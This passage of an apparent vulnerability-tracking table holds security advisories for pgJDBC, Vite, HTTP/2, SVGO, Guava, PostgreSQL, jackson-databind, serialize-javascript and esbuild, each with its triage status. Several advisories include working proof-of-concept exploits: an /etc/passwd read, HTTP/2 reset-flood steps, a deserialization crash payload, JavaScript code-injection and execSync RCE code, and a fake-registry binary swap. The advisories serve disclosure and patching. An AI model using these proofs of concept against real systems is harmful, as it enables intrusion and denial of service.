an empty value to the SCRAM client. The error names the certificate signature algorithm. - After negotiation, it requires the selected mechanism to use channel binding (a `-PLUS` mechanism) whenever `channelBinding=require` is set, regardless of how negotiation resolved. Upgrade to 42.7.12 or later. ### Workarounds No pgJDBC setting restores channel-binding enforcement on an affected release; upgrading is the fix. If you cannot upgrade immediately, verify the server certificate at the TLS layer so that a man-in-the-middle cannot present a substitute certificate. Set `sslmode=verify-full` with a truststore that contains only your server's CA. This defence is independent of channel binding and blocks the same attacker. Connections that rely on `channelBinding=require` in place of certificate verification have no equivalent workaround and should upgrade. ### References - [GHSA-p9jg-fcr6-3mhf](https://github.com/ongres/scram/security/advisories/GHSA-p9jg-fcr6-3mhf) — the related `com.ongres.scram:scram-client` issue (root cause of the empty channel-binding value). - `scram-client` 3.3 release (library fix): https://github.com/ongres/scram/releases/tag/3.3 - pgJDBC fix in 42.7.12: [commit](https://github.com/pgjdbc/pgjdbc/commit/77df98e4e66c12936ded3478a0954f6f580bad99) | |
| 8.2CVSS 4.0 | GHSA-p9ff-h696-f583
CVE-2026-39363 |
False positive | 2026-04-06 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary [`server.fs`](https://vite.dev/config/server-options#server-fs-strict) check was not enforced to the `fetchModule` method that is exposed in Vite dev server's WebSocket. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - WebSocket is not disabled by `server.ws: false` Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed. ### Details If it is possible to connect to the Vite dev server’s WebSocket **without an `Origin` header**, an attacker can invoke `fetchModule` via the custom WebSocket event `vite:invoke` and combine `file://...` with `?raw` (or `?inline`) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., `export default "..."`). The access control enforced in the HTTP request path (such as `server.fs.allow`) is not applied to this WebSocket-based execution path. ### PoC 1. Start the dev server on the target Example (used during validation with this repository): ```bash pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173 ``` 2. Confirm that access is blocked via the HTTP path (example: arbitrary file) ```bash curl -i 'http://localhost:5173/@fs/etc/passwd?raw' ``` Result: `403 Restricted` (outside the allow list) <img width="3898" height="1014" alt="image" src="https://github.com/user-attachments/assets/f6593377-549c-45d7-b562-5c19833438af" /> 3. Confirm that the same file can be retrieved via the WebSocket path By connecting to the HMR WebSocket without an `Origin` header and sending a `vite:invoke` request that calls `fetchModule` with a `file://...` URL and `?raw`, the file contents are returned as a JavaScript module. <img width="1049" height="296" alt="image" src="https://github.com/user-attachments/assets/af969f7b-d34e-4af4-8adb-5e2b83b31972" /> <img width="1382" height="955" alt="image" src="https://github.com/user-attachments/assets/6a230d2e-197a-4c9c-b373-d0129756d5d7" /> | |
| 8.2CVSS 4.0 | GHSA-prj3-ccx8-p6x4
CVE-2025-55163 |
Not affected | 2025-08-13 | 5.5 ×205.4 ×14 | Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” ### MadeYouReset Vulnerability Summary The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. ### Mechanism The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. ### Attack Flow For example, a possible attack scenario can be: 1. Attacker opens an HTTP/2 connection to the server. 2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. 3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. 4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) ### Comparison to Rapid Reset The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. ### Suggested Mitigations for MadeYouReset A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. If you have any questions, we will be happy to clarify or schedule a Zoom call. Gal, Anat and Yaniv. | |
| 8.2CVSS 3.1 | GHSA-w27v-7q3p-w38r
CVE-2026-84370 |
Not affected | 2026-09-08 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary SVGO's opt-in `removeScripts` plugin failed to remove some executable links. Namespace-prefixed SVG anchors and URL schemes containing ASCII tabs or newlines could bypass its checks. Applications that used this plugin as their only protection for untrusted SVG input could expose users to cross-site scripting (XSS). SVGO is an optimizer rather than a comprehensive sanitization library, but `removeScripts` is maintained for consumers that already rely on it to remove common script execution paths. ## Details Two related bypasses were present: 1. The plugin inspected unprefixed SVG `<a>` elements but did not recognize namespace-prefixed SVG anchors such as `<svg:a>` when the prefix was bound to the SVG namespace. Their executable `href` or namespaced `*:href` values remained intact. 2. The URL check did not account for ASCII tab, line-feed, or carriage-return characters embedded in a scheme. Browsers remove these characters before parsing the scheme, so values such as `java	script:` could remain executable after bypassing the plugin's `javascript:` check. Anchors in unrelated custom namespaces are not executable SVG anchors and remain untouched. ## Impact If an application optimized attacker-controlled SVGs with `removeScripts` and then served the result in an active browser context, a victim could follow a link that executes script in the SVG's origin. Depending on the embedding and origin configuration, this could expose cookies or local storage, modify content, or perform actions as the victim. The plugin is opt-in, so consumers that do not enable it are not relying on the affected behavior. Typical local optimization of trusted SVG files is not affected. ## Patches Upgrade to one of the following releases for the maintained release line in use: | Release line | Patched version | Plugin | | --- | --- | --- | | v2 | 2.8.4 | `removeScriptElement` | | v3 | 3.3.5 | `removeScriptElement` | | v4 | 4.1.0 | `removeScripts` | The fix makes SVG anchor handling namespace-aware and strips ASCII tabs, line feeds, and carriage returns before checking executable URL schemes. SVGO v1 is no longer maintained. Users of v1 should upgrade to a supported release line. ## Workarounds For hostile input, use a dedicated SVG sanitization tool before passing the SVG to SVGO. Applications can also reject links from untrusted SVG input and avoid serving user-controlled SVGs in an active same-origin context. ## References - v4 fix: https://github.com/svg/svgo/pull/2268 - related executable URL hardening: https://github.com/svg/svgo/pull/2263 - v3 backport: https://github.com/svg/svgo/pull/2269 - v2 backport: https://github.com/svg/svgo/pull/2272 - v4.1.0 release: https://github.com/svg/svgo/releases/tag/v4.1.0 - v3.3.5 release: https://github.com/svg/svgo/releases/tag/v3.3.5 - v2.8.4 release: https://github.com/svg/svgo/releases/tag/v2.8.4 | |
| 8.2CVSS 4.0 | GHSA-xxph-c9ww-hj94 | In triage | 2026-10-27 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | # CompactHashMap/CompactHashSet/MapMakerInternalMap native deserialization triggers uncontrolled memory allocation ## Summary `CompactHashMap`, `CompactHashSet`, and `MapMakerInternalMap` implement `readObject(ObjectInputStream)` by reading an attacker-controlled `elementCount` or `initialCapacity` from the stream. On the very first insertion during or after deserialization (for the `CompactHash*` collections, inside `allocArrays()`) or immediately during deserialization (for `MapMakerInternalMap`), the implementation eagerly allocates arrays sized to that full, unvalidated value (up to `CompactHashing.MAX_SIZE` = 2^30-1, ~1.07 billion, for example) before the rest of the stream's actual content has been consumed. A 72-byte malicious serialized stream containing a single tiny element can force a multi-gigabyte allocation and crash a JVM with `OutOfMemoryError`, dynamically confirmed against the current release. ## Details `CompactHashMap.readObject()` (`guava/src/com/google/common/collect/CompactHashMap.java`): ```java private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException { stream.defaultReadObject(); int elementCount = stream.readInt(); if (elementCount < 0) { throw new InvalidObjectException("Invalid size: " + elementCount); } init(elementCount); for (int i = 0; i < elementCount; i++) { K key = (K) stream.readObject(); V value = (V) stream.readObject(); put(key, value); } } ``` `elementCount` is only checked for being non-negative; there is no upper bound and no relationship enforced between the declared count and how much data actually follows in the stream. `init(elementCount)` (line 251) just stores the value (clamped to `[1, CompactHashing.MAX_SIZE]`, i.e. up to 2^30-1): ```java void init(int expectedSize) { Preconditions.checkArgument(expectedSize >= 0, "Expected size must be >= 0"); this.metadata = Ints.constrainToRange(expectedSize, 1, CompactHashing.MAX_SIZE); } ``` The real allocation is deferred to `allocArrays()`, which fires lazily on the *first* `put()` call — i.e. after only one key/value pair has actually been read off the wire: ```java int allocArrays() { ... int expectedSize = metadata; int buckets = CompactHashing.tableSize(expectedSize); this.table = CompactHashing.createTable(buckets); setHashTableMask(buckets - 1); this.entries = new int[expectedSize]; this.keys = new Object[expectedSize]; this.values = new Object[expectedSize]; return expectedSize; } ``` With `expectedSize` near `CompactHashing.MAX_SIZE` (2^30-1), this single call allocates a hash `table` plus three `expectedSize`-length arrays — multiple gigabytes — triggered by a stream that has, at that point, only supplied one small real element. `CompactHashSet.readObject()`/`allocArrays()` have the identical shape. `CompactLinkedHashMap`/`CompactLinkedHashSet` extend these classes and inherit the same unguarded path. The problem with `MapMakerInternalMap` is similar, with [a size read from the serialized data and stored in a `MapMaker` instance](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2848-L2851) for [later user during deserialization](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2897), when [the `MapMaker` is passed back to `MapMakerInternalMap`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMaker.java#L287) and [segments are allocated](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L173-L200) by [calling `newSegment`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1143), whose implementations ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L443)) create `Segment` instances ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2019)) that [allocate arrays of the requested capacity](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1234) through [the `newTable`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1262) helper. This is the same amplification shape as the already-fixed **CVE-2018-10237** (`AtomicDoubleArray`/`CompoundOrdering`: attacker declares a large size, library eagerly allocates before validating against actual stream content). That fix rewrote `AtomicDoubleArray.readObject()` to grow an `ImmutableLongArray.Builder` incrementally per element actually read, rather than pre-allocating from the declared size — Guava's own `HashBiMap.readObject()` documents the same defensive principle explicitly in a comment: `init(16); // resist hostile attempts to allocate gratuitous heap`. `CompactHashMap`/`CompactHashSet` do not follow either of these two patterns already present elsewhere in the same codebase. **Reachability**: All classes are top-level, `implements ... Serializable`, and require no special classpath setup beyond Guava being present (near-ubiquitous on JVM backends). A native Java deserialization attacker names the class directly in a hand-crafted stream — no particular Guava factory method needs to have been used by the victim application, exactly as with the precedent CVE. ## PoC Full source and run instructions in the attached `poc-guava-compacthash-dos.zip` (Maven project, `guava:33.7.1-jre` — the current latest release — as the only dependency). The PoC: 1. Uses reflection only to legitimately obtain a `CompactHashSet` instance (it is package-private; a real attacker does not need this step, since they craft the serialized bytes directly rather than calling Guava's own serialization code). 2. Serializes one set with 1 element and one with 2 elements, diffs the two byte streams to locate the exact offset of the `elementCount` field (byte-precise, not guessed). 3. Patches that one 4-byte field in the 1-element stream from `1` to `0x3FFFFFFF` (`CompactHashing.MAX_SIZE`), leaving the rest of the 72-byte stream (one real `"A"` element) untouched. 4. Feeds the resulting 72-byte malicious stream into a plain `new ObjectInputStream(...).readObject()` call against the real, unmodified `guava-33.7.1-jre.jar`. Actual run output: ``` ### -Xmx8g (generous heap) ### Located size field at offset 63, value=1 (expected 1) Malicious stream size: 72 bytes Declared elementCount: 1073741823 (~1.07 billion) Real payload: 1 tiny string element ("A") === RESULT === Exception: java.lang.OutOfMemoryError: Java heap space Time to allocate+fail: 4013 ms Heap used before: 3 MB Heap used after (at failure point): 4103 MB JVM max heap (-Xmx): 8192 MB ### -Xmx128m (ordinary service-sized heap) ### Located size field at offset 63, value=1 (expected 1) Malicious stream size: 72 bytes Declared elementCount: 1073741823 (~1.07 billion) Real payload: 1 tiny string element ("A") === RESULT === Exception: java.lang.OutOfMemoryError: Java heap space Time to allocate+fail: 24 ms Heap used before: 4 MB Heap used after (at failure point): 2 MB JVM max heap (-Xmx): 128 MB ``` A 72-byte input forces ~4.1 GB of real allocation before failing on an 8 GB heap, and crashes a 128 MB heap in 24 ms — over 50,000x amplification between input size and forced allocation. To reproduce: `mvn -q compile dependency:build-classpath -Dmdep.outputFile=cp.txt && java -Xmx128m -cp "target/classes:$(cat cp.txt)" poc.Poc` ## Impact Uncontrolled resource consumption (CWE-770 / CWE-400) via native Java deserialization: any application that runs `ObjectInputStream.readObject()` on data reachable by an attacker, and has Guava on its classpath (true for a large fraction of the JVM ecosystem), can be crashed with a single ~72-byte payload, regardless of what type the application itself expected to deserialize. ## Severity CVSS 3.1: `AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H` — identical vector to CVE-2018-10237, the precedent this is a sibling of. Recomputed with the full formula: exploitability = 8.22×0.85×0.44×0.85×0.85 = 2.221; ISS = 1-(1×1×0.44) = 0.56; impact = 6.42×0.56 = 3.595; base = roundup(5.816) = **5.9 (Medium)**. ## Affected `com.google.guava:guava`, all editions (`-jre`/`-android`) — confirmed on the current latest release, 33.7.1-jre. `CompactHashMap`/`CompactHashSet`/`CompactLinkedHashMap`/`CompactLinkedHashSet` have had this same `readObject`/`allocArrays` shape for a long time (probably since they were added in Guava 23.6), and similarly for `MapMakerInternalMap` (which was introduced in Guava 4.0); not tested against older individual releases. ## Suggested fix Apply the same defense already used elsewhere in this codebase: either clamp the initial `init()` capacity to a small constant regardless of the declared `elementCount` (as `HashBiMap.readObject()` already does — `init(16); // resist hostile attempts to allocate gratuitous heap`) and grow incrementally as elements are actually read, or grow the backing arrays incrementally per iteration of the deserialization loop (as the fixed `AtomicDoubleArray.readObject()` does via `ImmutableLongArray.Builder`) instead of eagerly sizing to the full attacker-declared count on first insert. | |
| 8.1CVSS 3.1 | CVE-2026-14668 | Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Type confusion regarding input of PostgreSQL ctid data type selectivity estimator allows an object creator to view a calculation derived from the value of an arbitrary 4-byte span of memory, via a chosen non-ctid input. While the calculation loses precision, substantial memory value recovery appears possible. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 8.1CVSS 3.1 | CVE-2026-21721 | Resolved | 2026-01-27 | 5.6 ×95.5 ×205.4 ×14 | The dashboard permissions API does not verify the target dashboard scope and only checks the dashboards.permissions:* action. As a result, a user who has permission management rights on one dashboard can read and modify permissions on other dashboards. This is an organization‑internal privilege escalation. | |
| 8.1CVSS 3.1 | CVE-2026-33381 | Resolved | 2026-05-13 | 5.6 ×95.5 ×205.4 ×14 | When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this. | |
| 8.1CVSS 4.0 | CVE-2026-41907 | False positive | 2026-04-24 | 5.6 ×95.5 ×205.4 ×14 | uuid is for the creation of RFC9562 (formerly RFC4122) UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output buffers but do not reject out-of-range writes (small buf or large offset). This allows silent partial writes into caller-provided buffers. This vulnerability is fixed in 14.0.0. | |
| 8.1CVSS 3.1 | CVE-2026-44249
GHSA-3qp7-7mw8-wx86 |
Resolved | 2026-06-11 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | Netty is a network application framework for development of protocol servers and clients. In netty-handler prior to versions 4.1.135.Final and 4.2.15.Final, an attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions. Versions 4.1.135.Final and 4.2.15.Final patch the issue. | |
| 8.1CVSS 3.1 | CVE-2026-54512
GHSA-j3rv-43j4-c7qm |
Resolved | 2026-06-23 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV. If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization. An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4. | |
| 8.1CVSS 3.1 | CVE-2026-54513
GHSA-rmj7-2vxq-3g9f |
Resolved | 2026-06-23 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4. | |
| 8.1CVSS 3.1 | CVE-2026-6464 | Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Untrusted data inclusion in PostgreSQL psql COPY may allow a server administrator to elicit execution of data lines as psql commands, via error injection. If the "COPY FROM STDIN" or "\copy FROM STDIN" command fails before the server indicates that it awaits input rows, psql processes the in-line data rows as psql commands. "COPY FROM" with a filename is unaffected. The server administrator has no inherent control over the data rows, so a complete attack requires the attacker to separately acquire control of both the server and the data rows. Alternatively, an attacker controlling data rows alone might complete an attack through a coincidental error that they don't control. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 8.1CVSS 3.1 | GHSA-3qp7-7mw8-wx86
CVE-2026-44249 |
Resolved | 2026-06-08 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Summary An attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions. ### Details `io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)` method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask. ### Impact Access Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls. | |
| 8.1CVSS 3.1 | GHSA-5c6j-r48x-rmvq | Resolved | 2026-02-28 | 5.6 ×95.5 ×205.4 ×14 | ### Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`. If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ``` ```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ``` ```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ``` ### Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3 | |
| 8.1CVSS 3.1 | GHSA-gv7w-rqvm-qjhr | Resolved | 2026-06-12 | 5.6 ×15.5 ×155.4 ×12 | ### Summary The esbuild Deno module (`lib/deno/mod.ts`) downloads native binary executables from an npm registry and writes them to disk with executable permissions (`0o755`) **without performing any integrity verification** (e.g., SHA-256 hash check). The Node.js equivalent (`lib/npm/node-install.ts`) includes a robust `binaryIntegrityCheck()` function that verifies SHA-256 hashes against hardcoded expected values from `package.json`, but this protection was never implemented for the Deno distribution. When the `NPM_CONFIG_REGISTRY` environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution. ### Details **Vulnerable code path** — `lib/deno/mod.ts` lines 62–82: ```typescript async function installFromNPM(name: string, subpath: string): Promise<string> { const { finalPath, finalDir } = getCachePath(name) try { await Deno.stat(finalPath); return finalPath } catch (e) {} const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org" // line 70: attacker-controlled const url = `${npmRegistry}/${name}/-/${name.replace("@esbuild/", "")}-${version}.tgz` // line 71: URL uses attacker base const buffer = await fetch(url).then(r => r.arrayBuffer()) // line 72: download const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath) // line 73: extract await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 }) await Deno.writeFile(finalPath, executable, { mode: 0o755 }) // line 80: write + chmod return finalPath // line 81: no hash check } ``` **Missing protection** — The Node.js equivalent at `lib/npm/node-install.ts` lines 228–234: ```typescript function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void { const hash = crypto.createHash('sha256').update(bytes).digest('hex') const key = `${pkg}/${subpath}` const expected = packageJSON['esbuild.binaryHashes'][key] if (!expected) throw new Error(`Missing hash for "${key}"`) if (hash !== expected) throw new Error(...) } ``` This function is called in both the `installUsingNPM()` path (line 131) and the `downloadDirectlyFromNPM()` path (line 243), but **no equivalent exists in the Deno module**. Searching the entire git history confirms `binaryIntegrityCheck`, `binaryHashes`, `sha256`, and `hash` have never appeared in `lib/deno/mod.ts`. **Execution flow after download:** The binary returned by `installFromNPM()` is passed to `spawn()` at line 291 of the same file: ```typescript const child = spawn(binPath, { args: [`--service=${version}`], ... }) ``` **Attack vector:** The `NPM_CONFIG_REGISTRY` environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary. ### PoC **Prerequisites:** Deno runtime, Node.js (for fake registry) **Step 1:** Create a fake npm registry that serves a malicious binary: ```javascript // fake-registry.js const http = require('http'); const zlib = require('zlib'); http.createServer((req, res) => { const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n'; // ... build tar.gz with fake binary as package/bin/esbuild ... res.writeHead(200, {'Content-Length': gz.length}); res.end(gz); }).listen(19876, () => console.log('READY')); ``` **Step 2:** Run the PoC with `NPM_CONFIG_REGISTRY` pointing to the fake server: ```typescript // poc.ts — mimics lib/deno/mod.ts installFromNPM code path const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"; const url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`; const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer()); // ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ... await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 }); // *** NO integrity check performed *** const cmd = new Deno.Command("/tmp/downloaded-binary"); await cmd.output(); // RCE: executes attacker-controlled binary ``` **Step 3:** Run: ```bash node fake-registry.js & NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts cat /tmp/deno-esbuild-rce-proof.txt # Output: PWNED ``` **Observed output in this environment:** ``` Download URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz Binary written to: /tmp/deno-poc/downloaded-binary Binary content: #!/bin/sh echo PWNED > /tmp/deno-esbuild-rce-proof.txt echo fake-esbuild-0.28.0 Executing downloaded binary... stdout: fake-esbuild-0.28.0 *** RCE CONFIRMED *** Marker file content: PWNED ``` **Build-local verification — using the actual built `deno/mod.js`:** The esbuild Deno module was built from source (`node scripts/esbuild.js ./esbuild --deno`) producing `deno/mod.js`. The fake registry test was then re-run using the **actual module** via `import * as esbuild from "file:///path/to/deno/mod.js"`, triggering the real `installFromNPM()` → `installFromNPM()` code path: ``` [TEST] esbuild Deno module loaded [TEST] esbuild version: 0.28.0 [TEST] *** RCE VIA ACTUAL MODULE CONFIRMED *** [TEST] Marker file content: VULN-CONFIRMED [TEST] The actual built deno/mod.js downloaded and executed [TEST] a malicious binary from the fake registry WITHOUT [TEST] performing any SHA-256 integrity verification. ``` The malicious binary was cached at `~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0` with contents: ``` #!/bin/sh echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt echo "0.28.0" ``` Built-in Deno module (`deno/mod.js`) confirmed to contain `NPM_CONFIG_REGISTRY` usage (line 1900) and zero references to `binaryIntegrityCheck`, `binaryHashes`, `sha256`, or `crypto.createHash`. **Negative/control case — Node.js rejects the same fake binary:** ``` Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1 Expected hash: aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be Hashes match: false => Node.js path REJECTS the fake binary (hash mismatch) => Deno path ACCEPTS it without any check ``` ### Impact An attacker who can control the `NPM_CONFIG_REGISTRY` environment variable in a Deno project using esbuild can achieve **arbitrary code execution** with the privileges of the Deno process. This is particularly relevant in: - **CI/CD pipelines** where `NPM_CONFIG_REGISTRY` is commonly set to point to internal 